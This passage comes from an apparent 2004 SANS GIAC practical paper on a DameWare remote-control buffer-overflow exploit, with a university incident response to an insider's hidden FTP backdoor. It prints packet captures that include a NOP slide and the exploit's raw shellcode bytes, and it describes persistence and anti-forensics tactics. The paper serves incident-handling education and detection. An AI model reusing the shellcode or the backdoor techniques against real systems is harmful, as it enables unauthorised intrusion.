press enter. Each approach will bring up a window similar to the one below.

35 The–o option is available on Windows XP and is similar to the–p option on some flavors of Unix.
There is no equivalent option for Windows 2000, though some third party utilities can provide the
functionality.
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Figure 10 - Screen capture of the Application section of the Event Log. The three entries
circled relate to the exploit being used against the vulnerable system are shown in the
box.

The event log in Figure 10 was obtained from compromised Windows XP system. The
items circled above will be explained in detail in the next few pages. The Event Log
Service and the types of events captured and written to the log are explained in
Microsoft’s Knowledgebase. Microsoft Knowledgebase article 30842736 describes an
“event” as any significant occurrence on the system which requires the user to be notified
or an entry added to a log. There are three types of event log, application, security, and
system. The application log contains events generated by programs, such as the
DameWare service. The security log contains events pertaining to logins, logouts, and
file access. The system log contains entries pertaining to Windows XP system
components such as device drivers.

36 http://support.microsoft.com/default.aspx?scid=kb;EN-US;308427
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Figure 11 - Event properties from the Applications log once the exploit has been run
against the vulnerable system.

A Google search on the term, “System Error -2146893048” indicated that the error shown
in Figure 11 is a result of an NTLM (NT LAN Manager) authentication error.37

DameWare allows the administrator to determine if NTLM authentication is a valid
method of authentication.  This option, “Allow Windows NT Challenge/Response” is 
enabled by default and can been seen in Figure 22. NT Challenge/Response, or NTLM
authentication is often used in place of more basic plain text authentication schemes and
is often used to maintain interoperability with older versions of Windows operating
systems. This authentication scheme utilizes the user’s NT/2000/XP/2003username and
password for gaining access to a given resource.38

A search on the phrase, “SEC_E_INVALID_TOKEN” on the Microsoft Development 
Network site led to information indicating that this error relates to the DecryptMessage
function found in the Security Software Development Kit. This function operates on
messages, not hashes, and is accessed for NTLM though the security.dll. When the
message buffers are of the wrong type or no buffers of a certain type are found, the
SEC_E_INVALID_TOKEN error is generated.39

37 http://www.everwonder.com/webpages/NTLM/
38 http://www.indiaaccess.com/support/NT%20/Challenge%20Response.asp
39 http://msdn.microsoft.com/library/en-us/security/security/decryptmessage.asp?frame=true
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Figure 12 - Event properties from the Applications log once the exploit has been run
against the vulnerable system.

This figure seems much like the previous figure and differs only in its type. The prior
figure showed an“error of type error,”while this is figure is an“error of type
information.”Several pieces of information are included above the description portion of
the event. The main substance of the description of this event is identical to the next
figure and will be explained there. During the initial analysis phase, the date, time, user,
computer and source entries may be the most useful to an investigator. In this instance
the event was logged on March 7, 2004 at 22:03:55 on a computer named WINXP-0. No
user information was available and the source of the error was determined to be
DMWRCS (DameWare Remote Control Service). Knowing the date, time, and computer
name are useful if the investigator attempts to correlate events across several systems.
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Figure 13 - Event properties from the Applications log once the exploit has been run
against the vulnerable system.

The error message in Figure 13 informs the user that the local system does not have any
information about the error that’s been experienced.  The error message suggests that the
user may want to connect to a remote computer by using the AUXSOURCE option in an
attempt to locate further details pertaining to the error.

FileMon and Regmon (available from the SysInternals website) were used to determine if
the exploit altered any system files or registry keys in a manner that would leave a lasting
impression on the system. Nothing about the exploit was found to leave an impression on
the file system or registry that could be detected after the attack took place, other than the
changes to the Event logs previously mentioned. The data collected by FileMon and
RegMon have been included in Appendices D and E due to their length.

After examining the file system of the exploited machine for signs of an attack, the next
place to investigate is the network. A protocol analyzer was used to monitor the network
when the attack was launched. The network where the exploit was launched was
controlled and isolated and all packets appearing on the network were logged for
analysis.
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Figure 14 - Network traffic generated by the exploit.

When viewed with a protocol analyzer (in this case Ethereal) the initial part of the attack
appears as fifteen frames consisting of 40 bytes sent to the target and 4664 bytes received
from the target. This portion of the attack probes the remote operating system to obtain
its version and service pack level. The packet captures have been slightly edited to
remove numerous redundant lines. The packet capture format from left to right is, line
number, hexadecimal representation, and ASCII representation.

Figure 15–Phase I of the attack showing frames 19 through 33.

The second phase of the attack appears as eighteen frames consisting of 4175 bytes sent
to the target and 4220 bytes received from the target. Phase II contains the real substance
of the attack. In this phase the null operation technique or NOP slide is employed to

00000000 30 11 00 00 02 00 00 00 5c 8f c2 f5 28 5c 0d 40 0....... \.Âõ(\.@
00000010 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ........ ........
00000020 00 00 00 00 06 00 00 00 ........
00000028 10 27 00 00 94 00 00 00 05 00 00 00 01 00 00 00 .'...... ........
00000038 28 0a 00 00 02 00 00 00 53 65 72 76 69 63 65 20 (....... Service
00000048 50 61 63 6b 20 31 00 00 00 00 00 00 00 00 00 00 Pack 1.. ........
00000058 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00001020 00 00 00 00 00 00 00 00 ........
00001028 7c 0d 00 00 00 00 00 00 46 61 69 6c 65 64 20 74 |....... Failed t
00001038 6f 20 72 65 63 65 69 76 65 20 63 6c 69 65 6e 74 o receiv e client
00001048 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0d 0a 0d informa tion....
00001058 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
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cause the execution of cmd.exe. This capture has been edited to remove many of the
duplicate lines. Comments have been included within the capture to clarify this portion
of the attack.

Figure 16 - Phase II of the attack showing frames 34 through 51.

The lines in Figure 16 show the NOP slide which leads to the shell code shown in Figure
17. The attacker wants the memory pointer to land somewhere in the batch of null
operations. The occurrence of the null operation instructions is a common technique used
by attackers and would be detected by the Snort signature shown in the previous section.

Figure 17–The shell code used by the exploit.

The packet capture shown in Figure 17 represent the actual code executed which
produced the command shell. This shell code would have to be disassembled in order to
view the assembly commands that the exploited system ran.

000000C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000000D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000000E8 00 00 00 00 00 00 00 00 00 00 00 00 00 90 90 90 ........ ........
000000F8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000128 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000148 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000218 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........

00000228 90 90 90 90 fb 7b ab 71 eb 03 5d eb 05 e8 f8 ff ....û{«q ë.]ë.èøÿ
00000238 ff ff 8b c5 83 c0 11 33 c9 66 b9 a2 01 80 30 88 ÿÿ.Å.À.3 Éf¹¢..0.
00000248 40 e2 fa dd 03 64 03 7c ee 09 64 08 88 60 ae 89 @âúÝ.d.| î.d..`®.
00000258 88 88 01 ce 74 77 fe 74 e0 06 c6 86 64 60 a3 89 ...Îtwþt à.Æ.d`£.
00000268 88 88 01 ce 64 e0 bb ba 88 88 e0 ff fb ba d7 dc ...Îdà»º ..àÿûº×Ü
00000278 77 de 64 01 ce 70 77 fe 74 e0 25 51 8d 46 60 82 wÞd.Îpwþ tà%Q.F`.
00000288 89 88 88 01 ce 56 77 fe 74 e0 fa 76 3b 9e 60 72 ....ÎVwþ tàúv;.`r
00000298 88 88 88 01 ce 52 77 fe 74 e0 67 46 68 e8 60 62 ....ÎRwþ tàgFhè`b
000002A8 88 88 88 01 ce 5e 77 fe 70 e0 43 65 74 b3 60 52 ....Î^wþ pàCet³`R
000002B8 88 88 88 01 ce 7c 77 fe 70 e0 51 81 7d 25 60 42 ....Î|wþ pàQ.}%`B
000002C8 88 88 88 01 ce 78 77 fe 70 e0 64 71 22 e8 60 32 ....Îxwþ pàdq"è`2
000002D8 88 88 88 01 ce 60 77 fe 70 e0 6f f1 4e f1 60 22 ....Î`wþ pàoñNñ`"
000002E8 88 88 88 01 ce 6a bb 77 09 64 7c 89 88 88 dc e0 ....Îj»w .d|...Üà
000002F8 89 89 88 88 77 de 7c d8 d8 d8 d8 c8 d8 c8 d8 77 ....wÞ|Ø ØØØÈØÈØw
00000308 de 78 03 50 e0 24 98 b4 09 e0 8a 88 96 e9 03 44 Þx.Pà$.´ .à...é.D
00000318 e2 98 d9 db 77 de 60 0d 48 fd d2 e0 eb e5 ec 88 â.ÙÛwÞ`. HýÒàëåì.
00000328 01 ee 5a 0b 4c 24 05 b4 ac bb 48 bb 41 08 49 9d .îZ.L$.´ ¬»H»A.I.
00000338 23 6a 75 4e cc ac 98 cc 76 cc ac b5 76 cc ac b6 #juNÌ¬.Ì vÌ¬µvÌ¬¶
00000348 01 d4 ac c0 01 d4 ac c4 01 d4 ac d8 05 cc ac 98 .Ô¬À.Ô¬Ä .Ô¬Ø.Ì¬.
00000358 dc d8 d9 d9 d9 4e cc ac 8b 80 c9 d9 c1 d9 d9 77 ÜØÙÙÙNÌ¬ ..ÉÙÁÙÙw
00000368 fe 5a d9 77 de 52 03 44 e2 77 77 b9 77 de 56 03 þZÙwÞR.D âww¹wÞV.
00000378 40 db 77 de 6a 77 de 5e de ec 29 b8 88 88 88 03 @ÛwÞjwÞ^ Þì)¸....
00000388 c8 84 03 f8 94 25 03 c8 80 d6 4a 8c 88 db dd de È..ø.%.È .ÖJ..ÛÝÞ
00000398 df 03 e4 ac 90 03 cd b4 03 dc 8d f0 8b 5d 03 c2 ß.ä¬..Í´ .Ü.ð.].Â
000003A8 90 03 d2 a8 8b 55 6b ba c1 03 bc 03 8b 7d bb 77 ..Ò¨.Ukº Á.¼..}»w
000003B8 74 bb 48 24 b2 4c fc 8f 49 47 85 8b 70 63 7a b3 t»H$²Lü. IG..pcz³
000003C8 f4 ac 9c fd 69 03 d2 ac 8b 55 ee 03 84 c3 03 d2 ô¬.ýi.Ò¬ .Uî..Ã.Ò
000003D8 94 8b 55 03 8c 03 8b 4d 63 8a bb 48 03 5d d7 d6 ..U....M c.»H.]×Ö
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Figure 18–Authentication information sent by the exploit.

The lines above contain the authentication information needed to seed the exploit. The
authentication informationdoes not need to be valid and in this case is “signed” by the 
author of the exploit, netmaniac.

The final phase appears as seven frames consisting of 104 bytes from the target that
contained the text from the command prompt.

Figure 19–Phase III of the attack showing the Windows command prompt.

This is the command shell (cmd.exe) given to the attacker by the exploit. The
occurrence of this command shell would be detectable by the Snort signature shown in
the previous section.

The entire attack lasted 0.932 seconds (this is just the duration of the attack, not anything
the attacker might have done afterward).40 The packet capture of the attack has been
included in Appendix A without comments.

An attacker using the DameWare exploit has several options for exploiting the system.
The Security Focus website contains links to three different source code files written in

40 Text excerpts of the exploit obtained from the packet capture are located in Appendix A.

000003E8 d5 d3 4a 8c 88 00 00 00 00 00 00 00 00 00 00 00 ÕÓJ..... ........
000003F8 6e 65 54 6d 61 4e 69 61 63 00 00 00 00 00 00 00 neTmaNia c.......
00000408 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

000005EC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000005FC 00 00 00 00 6e 65 74 6d 61 6e 69 61 63 20 77 61 ....netm aniac wa
0000060C 73 20 68 65 72 65 00 00 00 00 00 00 00 00 00 00 s here.. ........
0000061C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

000006EC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
000006FC 00 00 00 00 00 00 00 00 31 32 2f 31 32 2f 30 34 ........ 12/12/04
0000070C 20 31 33 3a 31 33 3a 31 33 00 00 00 00 00 00 00 13:13:1 3.......
0000071C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

00000AFC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000B0C 00 00 00 00 00 00 00 00 6e 65 74 6e 69 6e 6a 61 ........ netninja
00000B1C 7a 5f 70 6c 61 63 65 00 00 00 00 00 00 00 00 00 z_place. ........
00000B2C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000C10 00 00 00 00 00 00 00 00 31 33 31 2e 31 33 31 2e ........ 131.131.
00000C20 31 33 31 2e 31 33 31 00 00 00 00 00 00 00 00 00 131.131. ........
00000C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........

00000F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000F20 00 00 00 00 33 2e 37 32 2e 30 2e 30 00 00 00 00 ....3.72 .0.0....

00000000 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 Microsof t Window
00000010 73 20 58 50 20 5b 56 65 72 73 69 6f 6e 20 35 2e s XP [Ve rsion 5.
00000020 31 2e 32 36 30 30 5d 1.2600]
00000027 0d 0a 28 43 29 20 43 6f 70 79 72 69 67 68 74 20 ..(C) Co pyright
00000037 31 39 38 35 2d 32 30 30 31 20 4d 69 63 72 6f 73 1985-200 1 Micros
00000047 6f 66 74 20 43 6f 72 70 2e 0d 0a 0d 0a 43 3a 5c oft Corp .....C:\
00000057 57 49 4e 44 4f 57 53 5c 73 79 73 74 65 6d 33 32 WINDOWS\ system32
00000067 3e >
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the C programming language. These source code files can be compiled by someone with
sufficient knowledge, and used to exploit a vulnerable system.41 The exploits contain
comments that explain what various portions of the exploit code are doing, which would
allow other attackers to modify the code should they find the need. Often such exploit
code will be compiled or “canned” for use by those that either have no compiler or lack 
the skill to use a compiler to build the exploit. These pre-compiled exploits are often
used by so called “script-kiddies” that usually do not understand how or why an exploit
works. Pre-compiled exploit code may at times contain extra code that serves to
compromise the script-kiddie’s system.  The extra code may put a backdoor into the 
system or turn the system into a zombie that falls under the control of the attacker that
released the pre-compiled exploit binary. For the purposes of this paper, a Google search
was performed to find a precompiled binary for exploiting a DameWare system. Steps
were taken to determine if the exploit binary contained backdoor or other malicious
instructions. Prior to executing the exploit, checksums were computed of the files on the
system that would be used to carry out the attack. These file checksums were
recomputed once the exploit was used in order to determine if the exploit binary modified
any of the system files. No unexpected file changes were observed. The network
connections on the attacking system were examined before and after the exploit was
utilized, both by direct examination with the netstat command and passively with a
protocol analyzer. This was done in order to determine if there was any unusual network
activity. No unexpected or unusual network activity was observed for the twenty four
hour period the network was monitored. The exploit binary was downloaded and
unpacked on a Windows 2000 Professional system which was running on VMware on
Red Hat Linux 7.3. An MD5 checksum of the exploit binary was computed before and
after the binary was executed. The checksums matched in both cases, indicating that the
exploit binary did not change. If a binary matching this MD5 checksum were found on a
system running DameWare, it could be an indication that the attack has been utilized
against that system or against a remote system.

Stage 4: Keeping Access

When compromising Windows systems, some crackers will install DameWare as a
backdoor. This technique was so common that, at one time, several virus scanners
identified a certain version of DameWare as a backdoor trojan!42 In this scenario the
attacker copies and reconfigures the existing DameWare service. She first creates a
directory, then hides it by using the attrib command with the appropriate option. Next
she copies the files from the initial DameWare install to the newly created hidden
directory. She then modifies the configuration files (the ini files) to change the default
port DameWare listens on. She also makes the service hidden so that it leaves no icon.
The attacker installed an FTP server as well. This was her primary means of maintaining

41 The author consulted a professional Windows programmer in an attempt to compile the exploit code
found with the exploit binary written about in this paper. After some modification, the programmer was
able to build the exploit using a version of MS Visual Studio, but the resulting binary was not identical to
the binary used by the author.
42 http://www.net-integration.net/zeroscripts/dntus26.html
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access to the system, as she was primarily interested in uploading and downloading
music.

Once attackers gain access to a system they usually want to take steps to ensure that they
will have access to the system in the event that the vulnerability they exploited is patched,
which would prevent them from using their exploit tool again. Often an attacker will
secure a just-compromised system to prevent another attacker from gaining access to the
system via the same exploit. Maintaining access may involve the attacker creating an
account or downloading the SAM (Security Accounts Manager) database for carrying out
an offline password attack. The attacker hopes to gain the administrative password, or
maybe another user’s password, which might be used to gain administrative access.
Often an exploit will be released before the vendor has had a chance to respond and
resolve the issue (or sometimes the vendor has been deemed non-responsive from the
point of view of the exploit author/discoverer). As for the vulnerability presented in this
paper, the developers of DameWare responded quickly once they were informed that
their software had a security flaw. They had a fix available within a matter of days once
they were informed of the vulnerability. With such a quick response time administrators
using DameWare had the ability to patch their systems and the attackers were faced with
a smaller window of opportunity for attacking DameWare systems.

Stage 5: Covering Your Tracks

In this scenario our attacker is a knowledgeable computer user and an insider to the
organization attacked. Therefore she is familiar with the procedures used by the help
desk and other procedures and processes in the environment. She knows that the help
desk will often encourage the user to simply reboot a Windows machine that is causing
the user problems. While not specifically doing anything to hide what the compromised
system is doing, she knows that a reboot will terminate users that are connecting via FTP.
This will cause the workstation to perform satisfactorily for a time until users seeking the
warez on the compromised system reconnect and create a resource load which slows the
system’s performance again. The attacker also employed counter-forensics tactics by
selecting a location where the hard disks were regularly overwritten from which to launch
the attack. The Ghosting process employed by the computer lab where the attack was
launched ran every day. By the time the incident was discovered and traced to the
computer lab, several days had elapsed. Because of this daily procedure, and the amount
of time that had passed, the system administrator did not acquire the hard drive from the
system used by the attacker because he believed that the tools used by the attacker would
not have been recoverable for a reasonable cost.

User experience and network based intrusion detection systems aside, the attack leaves
two traces previously discussed in the Stage 3 section. It is unlikely that the attacker will
be caught while on the system, so the netstat command will be of little use in showing
that there is an “unusual” port connected to a remote system unless the attacker does not
close the remote command shell. Leaving the command shell running exposes the IP
address where the attacker is located or it is an IP address belonging to a system under
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the attacker’s control.Should the attacker decide to conceal the port the command shell
uses, it would require a modification to the system to conceal the port or ports the
attacker wishes to use. In this attack, the attacker faces another problem; the Event Log,
which contains three entries related to the exploit used against the system. In this
scenario, the attacker did not attempt to remove the entries from the event log. Perhaps
she was unaware of the logging or she knew that the logs contained no information that
specifically led to where the attack took place.

Attackers will often try to conceal the fact that they’ve been on a system.  The general
name for the collection of tools that can be used to conceal ports as well as clean log files
is a root kit. Root kits often contain tools that enable the attacker to hide processes of the
attacker’s choosing.  This enables the attacker to run applications so that they aren’t 
easily seen on the system. In general, for a given attack that gives the attacker access to
the system, the attacker wants to take steps that ensure she can maintain access, keep
other attackers out, and conceal any tracks left on the system. A very knowledgeable
attacker may engage in anti-forensics tactics in an effort to foil the incident response
team. Such anti-forensics techniques could include the use of tools that perform secure
deletions which would hinder file recover attempts, and the use of multiple machines that
have been fully compromised and had their logs scrubbed. Should those machines cross
jurisdictions (especially international jurisdictions) the investigative process could be
slowed down as various government and legal entities are involved.

Further information on rootkits and trojans, including sample code can be obtained at the
following URLs:

http://www.rootkit.com

http://secinf.net/trojans/The_Complete_Windows_Trojans_Paper.html

The Incident Handling Process

The incident handling process will vary from once incident to another because each
situation is different. Some incidents are minor and may not require the resources of the
full incident response team. Other incidents may require the entire incident response
team as well as specialists or outside firms brought on to join the team for a specific job.
Adaptability and process flexibility are the principal concepts to keep in mind when
establishing an incident handling process.

Preparation

The environment in which the incident took place is that of a university. University
environments are traditionally very open -- primarily because such openness is thought to
foster information exchange, collaboration, and research. As a result of this philosophy,
most of the defensive systems that might have alerted network managers such as IDSs
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and firewalls were found at the network borders. A layered approach involving
distributed intrusion detection systems and firewalls or filters would provide“defense in 
depth” throughout the network and cause such incidents to be detected sooner provided
that the alerts are being monitored.

At the time of the incident, no formal incident handling process existed. The university
was in the midst of developing an incident handling policy when the attack took place.
Members of the IT staff that fielded the help desk call that resulted in discovery of the
incident did have a rudimentary incident handling process established prior to the
incident. The process was fairly basic and consisted of determining that there was a
compromise then going on location with a collection of software for various platforms on
a CD-ROM or USB thumb drive to collect information from the compromised system.
When dealing with Windows platforms, the software collection included netstat, Active
Ports43, the SysInternals Pstools suite, cmd.exe, MD5sum.exe, and several tools from the
Cygwin44 suite including cut, awk, grep, cat, and vi.

The ad-hoc incident handling team in the scenario was made up of four people: the
system administrator, who did most of the investigative work; the system administrator’s
supervisor, who observed the system administrator’s actions;a help desk technician that
restored the compromised system to normal service; and a member of human resources,
who assisted in the questioning of the suspect. The university, while still in the process
of forming an incident response team, had a draft document stating that a computer
incident response team will consist of:

 Two senior members of management who possess technical skills and operational
experience.

 Two system administrators with network experience as well as experience on
numerous platforms.

 Other technical specialists, legal counsel, and human resources personnel as
deemed necessary.

 The university had also created an incident response documentation form which
was inspired by various resources found on the Internet and several incident
response books.

During the incident, the team consulted, used or adapted several of the forms and
procedures found on the SANS and NIST websites at the following URLs:

http://www.sans.org/score/
http://www.nist.gov/publications/nistpubs/

In addition, several forms found in the back of a few incident response texts were
modified for use within the university environment. The forms were used as a
documentation and process guide in the event the university decided to take some form of
action, legal or otherwise against the instigator(s) of the attack.

43 http://www.ntutility.com/
44 Cygwin will need its DLLs on the thumb drive so its utilities will work properly.
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Identification and Incident Timeline

Often incidents are identified not by system administrators, but by the users that are
directly impacted by the incident. Incidents may take a longer time to identify than
desired because users may not recognize the experience as being one which requires an
incident response. The delay in incident identification may be natural on the part of the
user, because it would not be very productive to treat everything that happens to a
computer that appears to be slightly outside of normal as caused by a malicious act.
Many people have grown accustomed to having some level of undesirable behavior from
their computers from time to time.

The incident timeline was constructed based on data collected from the notes made by the
system administrator, the times found on the compromised, data collected by network
monitoring utilities, and interviews with the suspects.

Incident timeline (All times are in 24-hour format.)

March 6, 2004
Sometime during the afternoon a port scan is run on the network to search for
systems listening on port 6129. (Information obtained from an interview with
Catherine.)

March 7, 2004
21:50 - User adumas logs in to workstation 357 while logged in to another
workstation.
Some time after 21:50 and before 22:03:55 the attacker downloads the exploit
binary and prepares to utilize it. (Inferred from the logon times and time stamps
in the Event Logs.)
22:03:55–Three entries appear in the Applications Event Viewer.
Some time after 22:04 the attacker starts to upload MP3s. (This information was
obtained during the interview and was inferred from the entries in the event log
and timestamps on the uploaded files.)
22:15–Network traffic graphs start to reflect a drastic increase in bandwidth
consumption from the workstation on port 37.
23:51–User adumas logs out of workstation 357. Data obtained from audit logs.

March 8, 2004
4:00–Ghost process automatically restores workstation 357 and numerous other
workstations.
11:45–User calls helpdesk and reports his workstation has a poor overall
performance. Helpdesk advises a reboot. Network traffic graphs reflect a
temporary decrease in bandwidth consumption.
13:00–User returns from lunch, reboots workstation. Network traffic graphs
reflect decrease in bandwidth consumption.
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15:00–User calls the helpdesk again to report his workstation is has poor
performance. User is advised to reboot which he does. Network traffic graphs
again reflect a temporary drop in bandwidth consumption.

March 9, 2004
8:00–User arrives at work, attempts to log in and finds the computer
unresponsive. The user reboots his workstation by turning off the power.
9:00–User forced to reboot workstation again. The user calls the helpdesk to
complain.
9:15–System administrator uses remote desktop and runs netstat command on
the user’s system.
9:30–System administrator arrives at the user’s workstation.
9:35– System administrator runs pslist command on the user’s workstation.
9:40–Entries discovered in Event Log.
9:45–System administrator connects workstation and laptop to hub and starts
monitoring the network connection.
9:55–MP3s found on the compromised system.
10:05–System administrator removes the hard drive from the compromised
system.
10:30–Help desk staff begins the process of re-installing and reconnecting the
user to the network.
11:00–Drive imaging process started for the compromised drive.
13:30–Compromised hard drive is secured in the office safe.

March 10, 2004
9:00–System administrator requests login information from the lab manager.
10:00–System administrator requests user adumas account be disabled.

March 11, 2004
1:30 - User Andre Dumas arrives in the system administrator’s office.
2:45– Andre Dumas leaves the system administrator’s office.
4:00–System administrator reviews the drive image from the compromised
hard drive.
4:30– System administrator locates MP3s in Catherine’s home directory.

March 12, 2004
9:00–Catherine is questioned.
11:00–Human Resources takes responsibility for the personnel side of the
incident.



©
 S

A
N

S 
In

st
itu

te
 2

00
4,

 A
ut

ho
r 

re
ta

in
s f

ul
l r

ig
ht

s.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

48

Incident Detection

The incident was primarily detected bythe system’s user complaining about the
performance of the machine, and the system administrator observing an increase in
bandwidth far above the network baseline. A secondary indicator was a drastic loss of
disk space due to a dramatic increase in stored files. The workstation user reported to the
help desk staff that the system had very poor overall response which caused the help desk
to approach the problem from a troubleshooting point of view. The help desk staff went
through several standard troubleshooting procedures including having the user reboot the
system.45 The incident was confirmed when the administrator examined the
compromised machine and noticed the network connections and the usage of FTP.
Further investigation revealed the presence of an unauthorized FTP server, an unknown
binary, and entries in the Event log relating to an exploitable service running on the
system.

Figure 20 - Traffic graph showing abnormal usage.

The traffic pattern shown in Figure 20 shows a sustained outbound traffic pattern that is
above the network baseline. The area under the curve was calculated and represents 4.5
gigabits of data.

45 Ideally you would not want to reboot a system that was suspected to be compromised. A reboot destroys
any running processes whose binary had been removed from the disk as well as clearing network
connections that could contain information useful in tracing the attacker to a specific IP address. Reboots
can also activate booby traps placed on the system by the attacker. Windows systems typically update a
number of files when rebooted which may hinder the investigation. When dealing with Windows, reboots
are fairly common and often one of the first recommendations made by help desk staff.



©
 S

A
N

S 
In

st
itu

te
 2

00
4,

 A
ut

ho
r 

re
ta

in
s f

ul
l r

ig
ht

s.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

49

Figure 21 -Output from SysInternal’s pslist utility.

Figure 21 shows two suspicious processes which the system administrator was able to
match to port numbers obtained from the netstat utility he ran against the compromised
system. The Serv-U and explorer.ex[e] processes are suspect. Serv-U46 is a well known
FTP server often found on compromised Windows systems.47 Notice the occurrence of
the process, explorer on the left side of Figure 21 about mid-way down the screen. This
is an instance of file system navigator, Windows Explorer. The Internet Explorer web
browser, though not shown in Figure 21, would have appeared as iexplorer. The
appearance of explorer.ex[e] which looks innocent on first glance is unusual because it
was found to be listening on port 8080.  During Catherine’s questioning she stated that 
she had renamed her back door version of DameWare to explorer.exe in order to hide two
instances of DameWare running on the system.

Countermeasures

There are several countermeasures that could be employed to prevent this attack or make
the attack more difficult to accomplish. One option, though not completely effective,
would be to change the port the DameWare service listens on. By default port 6129 is
used by DameWare. This port can be changed and may slow down attackers only
searching for DameWare on the default port. On the network, access control lists could
be placed on the routers or computers which will only enable certain hosts to connect to
the systems running the vulnerable service. This approach could be used with success
until a patch is available and/or until the system is patched. Egress filtering could be
employed to restrict the number of ports that are allowed to exit the network. Once the
vulnerability has been resolved the use of access control lists in some form should be
examined to reduce the number of hosts that are able to connect to systems running the

46 http://www.serv-u.com
47 http://seclists.org/lists/incidents/2002/Jul/0054.html
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service. The DameWare software itself includes six configuration screens containing
options that may be set by the administrator that would serve to harden the service and
make it somewhat more difficult to abuse. Testing revealed the only option native to
DameWare which would prevent this particular exploit from working was the disabling
of the NT Challenge/Response method of authentication located on the General tab48.
DameWare’s configuration options are accessed by right clicking on theservice in the
system tray then selecting, settings. Right clicking on the DameWare icon in the system
tray will also give the user the option to show who is connected to DameWare. If the
user selects this option and someone has an authenticated connection to the DameWare
service it will be shown in the window. In this case, the attacker has used a buffer
overflow exploit and will not appear as a connected user.49

Figure 22 - DameWare General Tab.

The first authentication type, Allow Proprietary Challenge/Response, allows the
administrator to select a custom username and password for accessing DameWare. Using

48 The other tabs associated with DameWare’s configuration are found in Appendix C.
49 Buffer overflow exploits almost always result in the attacker being invisible to the system because the
attacker does not complete a normal authentication process and because of the way system utilities report
on who is using the system.
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this method of authentication would be a valid temporary work-around to prevent
exploits should no other options be available, as long as the second checkbox pertaining
to NT Challenge/Response is not selected. Another work-around, though not fool proof,
would be to change the default port number shown on this screen to something other than
6129.

Figure 23 - DameWare Access Tab.

The options shown in Figure 23 were the only other options that appeared to restrict
access to DameWare. Each option was tested and found to have no impact against the
exploit.

Proxy level firewalls could be used to protect a vulnerable system.50 Though it would
involve a little work on the part of the administrator, the service could be turned off and
remotelyenabled with a technique known as “port knocking.”51

50 Network Magazine, Did Firewalls Stave Off March Madness, Rik Farrow, pp 58-59, June 2003.
51 SysAdmin, June 2003, “Network Authentication Across Closed Ports” by Martin Krzywinski.
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Identification

Due to numerous factors ranging from a lack of network monitoring by humans, the lack
of alerts from an intrusion detection system, and the nature of the methods employed by
the helpdesk while troubleshooting, the incident was not discovered immediately and
nearly 36 hours had elapsed before the incident was identified. The system was
compromised over the weekend when few (if any) of the regular networking staff were
scheduled to work. The typical workstation on the network had some form of Microsoft
Windows installed, therefore the help desk typically encouraged the end user to reboot as
a first step to resolve problems. In medicine, there is a cliché that states, “When you hear 
hoof beats, don’t think zebras, think horses.”  This cliché certainly applies to many help 
desk personnel that support the Windows platform.

The user of the compromised system initially detected the incident though he did not
realize it.  The behavior of the user’s machine changed from being essentially stable to
relatively short periods of usability which required a reboot to temporarily resolve. The
system administrator observed that the user’s poorly performing workstation had an 
unusual amount of outbound network activity. The direction of network traffic flow
indicated that large amounts of data were leaving the workstation. Normally a
workstation would have more traffic coming in than going out as the user reads and
digests information obtained from network resources. The area under the curve in Figure
20 shows approximately 4.5 gigabits of data leaving the workstation.

Figure 20 - Network traffic graph used to identify the incident.

The system administrator visited the user’s office and viewed the Event Logs.  The
Application Event Log contained an entry for DWMRCS which the system administrator
traced to the DameWare Remote Control Service. A search using the Google search
engine uncovered exploit information including exploit binaries that could be used to
remotely compromise a system running DameWare. Based on the large volume of
network traffic leaving the workstation and the knowledge that there was a DameWare
exploit in the wild, the system administrator attached a hub to the system and began to
monitor the network traffic.
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Figure 10 - Screen capture of the Application section of the Event Log. The three entries
circled relate to the exploit being used against the vulnerable system are shown in the
box.

Figure 21–Screen capture from pslist showing the presence of two suspicious processes.

The system administrator matched the process IDs produced by the pslist utility with the
port numbers produced by netstat. Based on the presence of the Serv-U FTP server and
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the analysis of the data captured by the Linux laptop attached to the hub the system
administrator searched the compromised system for all files with an MP3 extension.

Figure 24–Windows Explorer showing numerous directories containing MP3s.

Data from the network monitor DAEDALUS provided the system administrator with
information that led to a specific computer in a campus computer lab. The lab manager
for the all night computer lab was able to provide the following AuditLogin52 information
to the system administrator:

The first line of data shows a login on March 7, 2004 at 21:50:59 from Campus Lab 1853
on computer 357 by user adumas. The second line shows the user logging out on March
7, 2004 at 23:51:53. The system administrator initially thought this was the attacker and
was half correct. This entry was created when Andre Dumas logged in to the network
